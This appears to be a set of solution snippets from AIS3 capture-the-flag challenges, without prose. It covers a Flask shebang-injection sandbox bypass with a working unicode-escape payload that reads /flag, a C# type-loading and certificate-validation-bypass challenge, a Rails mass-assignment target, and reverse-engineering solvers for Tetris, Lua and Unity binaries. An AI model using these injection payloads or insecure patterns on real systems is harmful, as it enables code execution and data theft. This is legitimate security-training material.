1
#flag is at /flag
2

3
from flask import Flask,request,send_file
4
import os,time,uuid,unicodedata
5

6
app = Flask(__name__)
7

8
shebang = '#!/usr/local/bin/python3'
9

10
@app.route('/')
11
def index(): return send_file(__file__)
12

13
@app.post('/<uid>')
14
def run(uid):
15
    uuid.UUID(uid)
16
    d = unicodedata.normalize("NFKC", request.data.decode())
17
    assert not any(i in d for i in "()_[]{}.@#")
18
    open(f"data/{uid}","w").write(shebang + d)
19
    os.chmod(f"data/{uid}", 0o755)
20
    os.popen(f"./data/{uid} > ./output/{uid}")
21
    time.sleep(1)
22
    r = open(f"output/{uid}","r").read()
23
    return r
24

25
if __name__ == "__main__":
26
    app.run("0.0.0.0",port=8000)

1
#!/usr/local/bin/python3 -Xcoding:unicode-escape

1
 -Xcoding:unicode-escape
2
print\x28open\x28'/flag'\x29\x2eread\x28\x29\x29

1
#!/bin/true
2
#AIS3{5H3_BA_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_NG!}

1
#flag is at /flag
2

3
from flask import Flask,request,send_file
4
import os,time,uuid,unicodedata
5

6
app = Flask(__name__)
7

8
shebang = '#!/usr/local/bin/python3'
9

10
@app.route('/')
11
def index(): return send_file(__file__)
12

13
@app.post('/<uid>')
14
def run(uid):
15
    uuid.UUID(uid)
16
    d = unicodedata.normalize("NFKC", request.data.decode())
17
    assert not any(i in d for i in "()_[]{}.@#") and len(d.split("\n")[0]) < 50
18
    open(f"data/{uid}","w").write(shebang + d)
19
    os.chmod(f"data/{uid}", 0o755)
20
    os.popen(f"./data/{uid} > ./output/{uid}")
21
    time.sleep(1)
22
    r = open(f"output/{uid}","r").read()
23
    return r
24

25
if __name__ == "__main__":
26
    app.run("0.0.0.0",port=8000)

1
 -Xcoding:unicode-escape
2
print\x28repr\x28open\x28'/flag'\x29\x2eread\x28\x29\x29\x29

1
'#!/bin/true\n#AIS3{D3MN_21P_PYD0C_A5_-_-MA1N-_-_D07_PY}\n'

1
_flag = configuration["FLAG"] ?? "AIS3{missing_flag}";
2
_host = configuration["Challenge:Host"] ?? "flag-dropbox.givemeflag.internal";
3
_postPath = configuration["Challenge:PostPath"] ?? "/api/flag";
4
_port = int.TryParse(configuration["Challenge:Port"], out var result) ? result : 443;
5

6
// send JSON:
7
// {"flag":"...","challenge":"GiveMeFlag","sent_at":"..."}

1
HttpWebRequest httpWebRequest = WebRequest.CreateHttp(endpoint);
2
httpWebRequest.Method = "POST";
3
httpWebRequest.Host = _host;
4
httpWebRequest.ContentType = "application/json";

1
CardText = PreviewComponentResolver.Create(Preview.Template, Preview.Accent)?.ToString()
2
    ?? "The selected card did not render any content.";

1
int num = text.IndexOf('#', StringComparison.Ordinal);
2
if (num >= 0)
3
{
4
    metadata = Uri.UnescapeDataString(text.Substring(num + 1, ...));
5
    text = text.Substring(0, num);
6
}

1
Type type = Type.GetType(
2
    !string.IsNullOrWhiteSpace(descriptor.Metadata)
3
        ? descriptor.Metadata
4
        : ResolveBuiltInTypeName(descriptor),
5
    LoadFromApplicationDirectory,
6
    null,
7
    throwOnError: true);

1
string text = Path.Combine(AppContext.BaseDirectory, assemblyName.Name + ".dll");
2
return AssemblyLoadContext.Default.LoadFromAssemblyPath(text);

1
namespace Microsoft.Office.Server.Search.Connector.BDC.Exchange;
2

3
public class ExchangeSystemUtility : StructuredRepositorySystemUtility<ExchangeProxy>
4
{
5
    private static bool ValidateCertificates(...) => true;
6

7
    static ExchangeSystemUtility()
8
    {
9
        ServicePointManager.ServerCertificateValidationCallback =
10
            (RemoteCertificateValidationCallback)Delegate.Combine(
11
                ServicePointManager.ServerCertificateValidationCallback,
12
                new RemoteCertificateValidationCallback(ValidateCertificates));
13
    }
14
}

1
{"flag":"AIS3{c_5h4rp_c0n57ruc70r_p0llu710n_59ede4ed545f41fba92ed19821e7b0bc}","challenge":"GiveMeFlag","sent_at":"..."}

1
<meta name="csrf-param" content="authenticity_token" />
2
<meta name="csrf-token" content="..." />

1
User-agent: *
2
Disallow: /admin

1
<span class="badge">旅客</span>

1
<form data-turbo="false" action="/profile" method="post">
2
  <input type="hidden" name="_method" value="patch" />
3
  <input type="text" name="user[username]" />
4
  <input type="email" name="user[email]" />
5
  <input type="text" name="user[full_name]" />
6
  <input type="tel" name="user[phone]" />
7
  <input type="text" name="user[favorite_station]" />
8
</form>

1
【內部】系統金鑰與稽核紀錄
2

3
本次系統稽核金鑰如下，僅供授權管理員存取：
4

5
AIS3{R41ls_4P1_M4ss_4ss1gnm3nt_2_AIS_4dm1n}
6

7
請勿外洩，稽核週期為每季一次。

1
ELF 64-bit LSB executable, x86-64, statically linked, stripped
2

3
Arch:       amd64-64-little
4
RELRO:      Partial RELRO
5
Stack:      No canary found
6
NX:         NX enabled
7
PIE:        No PIE (0x400000)
8
SHSTK:      Enabled
9
IBT:        Enabled
10

11
[1;36mTETRIS - Score: %d | Lines: %d
12
Press any key to continue...
13
Game Over! Final Score: %d
14
Lines Cleared: %d
15
Press ENTER to start...

1
2e a5 56 46 0d 7c 8e dc 83 6f 30 83 ff f8 a5 5c
2
d0 76 d8 cd 99 dc 3f 39 9d 65 70 64

1
seed = 0x811c9dc5;
2
for each pattern_dword:
3
    seed ^= pattern_dword;
4
    seed *= 0x1000193;
5
# ...
6
key[i] = seed >> ((i % 4) * 8);
7
seed = (seed * 0x41c64e6d + 0x3039) & 0x7fffffff;

1
vals = [
2
    5,0,5,0,1,0,4,4,4,0,5,5,5,0,1,0,
3
    4,0,0,0,5,0,5,0,1,0,0,4,4,0,5,0,
4
    5,0,1,0,4,4,0,3,
5
]
6

7
seed = 0x811c9dc5
8
for v in vals:
9
    seed ^= v
10
    seed = (seed * 0x1000193) & 0xffffffff
11

12
key = []
13
for i in range(24):
14
    key.append((seed >> ((i & 3) * 8)) & 0xff)
15
    seed = (seed * 0x41c64e6d + 0x3039) & 0x7fffffff
16

17
ct = bytes.fromhex(
18
    "2ea556460d7c8edc836f3083fff8a55c"
19
    "d076d8cd99dc3f399d657064"
20
)
21

22
S = list(range(256))
23
j = 0
24
for i in range(256):
25
    j = (j + S[i] + key[i % len(key)]) & 0xff
26
    S[i], S[j] = S[j], S[i]
27

28
i = j = 0
29
pt = bytearray()
30
for c in ct:
31
    i = (i + 1) & 0xff
32
    j = (j + S[i]) & 0xff
33
    S[i], S[j] = S[j], S[i]
34
    k = S[(S[i] + S[j]) & 0xff]
35
    pt.append(c ^ k)
36

37
print(pt.decode())
38

39
# AIS3{T3tr1s_P4tt3rn_M4st3r!}

1
This compiler has been disabled for the CTF challenge.
2
Reverse engineer this binary to discover the OpCode mapping!

1
1b 4c 75 61 51 00 01 04 08 04 08 00
2

3
source
4
linedefined
5
lastlinedefined
6
nups
7
key
8
numparams
9
is_vararg
10
maxstacksize
11
code
12
constants
13
protos
14
debug info

1
op = (instr ^ (key ^ 0x2b) ^ (15 * pc0 + 0x11)) & 0x3f

1
op01 ADD
2
op02 MOVE
3
op04 LOADK
4
op05 LOADBOOL
5
op08 SUB
6
op09 GETUPVAL
7
op10 JMP
8
op11 GETGLOBAL
9
op12 GETTABLE
10
op15 MUL
11
op16 SETTABLE
12
op17 DIV
13
op18 MOD
14
op19 NEWTABLE
15
op22 LEN
16
op23 LT
17
op24 TEST
18
op27 EQ
19
op28 CALL
20
op29 TAILCALL
21
op30 RETURN
22
op31 FORLOOP
23
op32 FORPREP
24
op33 SETLIST
25
op35 CLOSURE

1
io.write("> ")
2
local s = io.read()
3
if check(s) then
4
  print("ok")
5
else
6
  print("no")
7
end

1
key table:
2
23, 88, 41, 199, 17, 90, 250, 61, 143, 12, 77
3

4
target table:
5
158, 35, 172, 11, 160, 217, 123, 62, 248, 242, 88,
6
51, 84, 125, 92, 152, 46, 62, 166, 147, 23, 73,
7
80, 220, 153, 6, 67, 13, 195, 5, 91, 6, 32

1
state = 65
2

3
for i in range(1, len(target) + 1):
4
    k = key[(i * 5 + state) % len(key)]
5
    x = input[i - 1]
6

7
    v = xor((x + i + state) % 256, (k + i * 7) % 256)
8
    v = (v + xor(k, i) % 13) % 256
9

10
    if v != target[i - 1]:
11
        return False
12

13
    state = (state + v + k + i * 3) % 256
14

15
return state == 229

1
def bxor(a, b):
2
    return int(a) ^ int(b)
3

4
key = [23, 88, 41, 199, 17, 90, 250, 61, 143, 12, 77]
5
target = [
6
    158, 35, 172, 11, 160, 217, 123, 62, 248, 242, 88,
7
    51, 84, 125, 92, 152, 46, 62, 166, 147, 23, 73,
8
    80, 220, 153, 6, 67, 13, 195, 5, 91, 6, 32,
9
]
10

11
state = 65
12
out = []
13

14
for i, tgt in enumerate(target, 1):
15
    k = key[(i * 5 + state) % len(key)]
16
    for x in range(256):
17
        v = bxor((x + i + state) % 256, (k + i * 7) % 256)
18
        v = (v + bxor(k, i) % 13) % 256
19
        if v == tgt:
20
            out.append(x)
21
            state = (state + v + k + i * 3) % 256
22
            break
23

24
print(bytes(out).decode())
25
print(state)
26

27
# AIS3{Lu4_0pc0d3_Shuffl1ng_1s_Fun}

1
B/Reverse1.exe
2
B/UnityPlayer.dll
3
B/MonoBleedingEdge/...
4
B/Reverse1_Data/Managed/Assembly-CSharp.dll

1
GachaServer
2
UsernameUI
3
http://chals1.ais3.org:50001
4
{{"spend":{0},"rate":{1:F4},
5
"username":"
6
"gold":{0},"score":{1},"kills":{2}}}

1
IL_001f:  ldc.r4 0.
2
IL_0024:  ldc.r4 0.30000001192092896
3
IL_0029:  call float32 class [UnityEngine.CoreModule]UnityEngine.Random::Range(float32, float32)
4
IL_002e:  stloc.2
5

6
...
7

8
IL_007f:  ldstr "{{\"spend\":{0},\"rate\":{1:F4},"
9
...
10
IL_009d:  ldstr "\"username\":\""
11
...
12
IL_00b6:  ldstr "\"gold\":{0},\"score\":{1},\"kills\":{2}}}"

1
float rate = UnityEngine.Random.Range(0.0f, 0.3000000119f);
2

3
string body =
4
    string.Format("{{\"spend\":{0},\"rate\":{1:F4},", spend, rate) +
5
    "\"username\":\"" + EscapeJson(username) + "\"," +
6
    string.Format("\"gold\":{0},\"score\":{1},\"kills\":{2}}}", gold, score, kills);
7

8
var req = new UnityWebRequest(url, "POST");
9
req.uploadHandler = new UploadHandlerRaw(Encoding.UTF8.GetBytes(body));
10
req.downloadHandler = new DownloadHandlerBuffer();
11
req.SetRequestHeader("Content-Type", "application/json");
12
req.timeout = 3;

1
{
2
  "weapon": {
3
    "name": "Sword IV",
4
    "damage": 34.3,
5
    "maxDurability": 274,
6
    "range": 3.2,
7
    "angle": 65.0,
8
    "cooldown": 0.55,
9
    "bonusGoldPercent": 0.0,
10
    "lifestealPercent": 0.0
11
  },
12
  "armor": {
13
    "name": "AIS3{At_Least_U_DIDNT_MODIFY_MY_MONEY_RIGHT?}",
14
    "slot": "Body",
15
    "damageReduction": 0.2,
16
    "bonusMaxHp": 15,
17
    "bonusSpeed": 0
18
  }
19
}

1
# uv run --with UnityPy --with pillow python extract.py
2

3
import UnityPy
4
from pathlib import Path
5

6
bundle = Path("/tmp/ais3_cloak/B/Reverse1_Data/StreamingAssets/bundles/character_main")
7
out = Path("/tmp/ais3_cloak/extracted")
8
out.mkdir(parents=True, exist_ok=True)
9

10
env = UnityPy.load(str(bundle))
11
for obj in env.objects:
12
    data = obj.read()
13

14
    if obj.type.name == "Texture2D":
15
        data.image.save(out / f"{data.name or obj.path_id}.png")
16

17
    if obj.type.name == "TextAsset":
18
        raw = data.m_Script
19
        if isinstance(raw, str):
20
            raw = raw.encode()
21
        (out / f"{data.m_Name}.txt").write_bytes(raw)

1
character.png
2
character.txt
3
character.atlas.txt

1
"emote_a": {
2
  "bones": {
3
    "b013": {
4
      "translate": [
5
        {"time": 0.0, "x": 0, "y": 0},
6
        {"time": 0.25, "x": 0, "y": 0},
7
        {"time": 0.75, "x": -415.5, "y": 0},
8
        {"time": 1.0, "x": 0, "y": 0}
9
      ]
10
    },
11
    ...
12
  }
13
}

1
import json
2
from pathlib import Path
3

4
j = json.loads(Path("/tmp/ais3_cloak/extracted/character.txt").read_text())
5
attachments = j["skins"][0]["attachments"]
6
slots = {s["bone"]: s["name"] for s in j["slots"]}
7
emote = j["animations"]["emote_a"]["bones"]
8

9
items = []
10
for bone, anim in emote.items():
11
    x = [k["x"] for k in anim["translate"] if k["time"] == 0.75][0]
12
    slot = slots[bone]
13
    path = attachments[slot][slot]["path"]
14
    items.append((x, bone, slot, path))
15

16
for item in sorted(items):
17
    print(item)
18

19
# (-415.5, 'b013', 's013', 'r037')
20
# (-281.5, 'b014', 's014', 'r017')
21
# (-128.0, 'b015', 's015', 'r016')
22
# (35.5, 'b016', 's016', 'r034')
23
# (141.5, 'b017', 's017', 'r047')
24
# (180.5, 'b018', 's018', 'r031')
25
# (219.5, 'b019', 's019', 'r050')
26
# (258.5, 'b020', 's020', 'r032')
27
# (297.5, 'b021', 's021', 'r022')
28
# (336.5, 'b022', 's022', 'r039')
29
# (375.5, 'b023', 's023', 'r058')
30
# (414.5, 'b024', 's024', 'r043')
31
# (453.5, 'b025', 's025', 'r042')

1
r037
2
  xy: 278, 392
3
  size: 107, 36
4

5
r017
6
  xy: 318, 168
7
  size: 145, 41
8

9
r016
10
  xy: 168, 168
11
  size: 146, 41

1
r037 -> AIS3{
2
r017 -> d0n7_70
3
r016 -> uch_my_
4
r034 -> c4p3_0k_
5
r047 -> b
6
r031 -> 3
7
r050 -> f
8
r032 -> 1
9
r022 -> e
10
r039 -> 7
11
r058 -> 6
12
r043 -> 8
13
r042 -> }
14

15
# AIS3{d0n7_70uch_my_c4p3_0k_b3f1e768}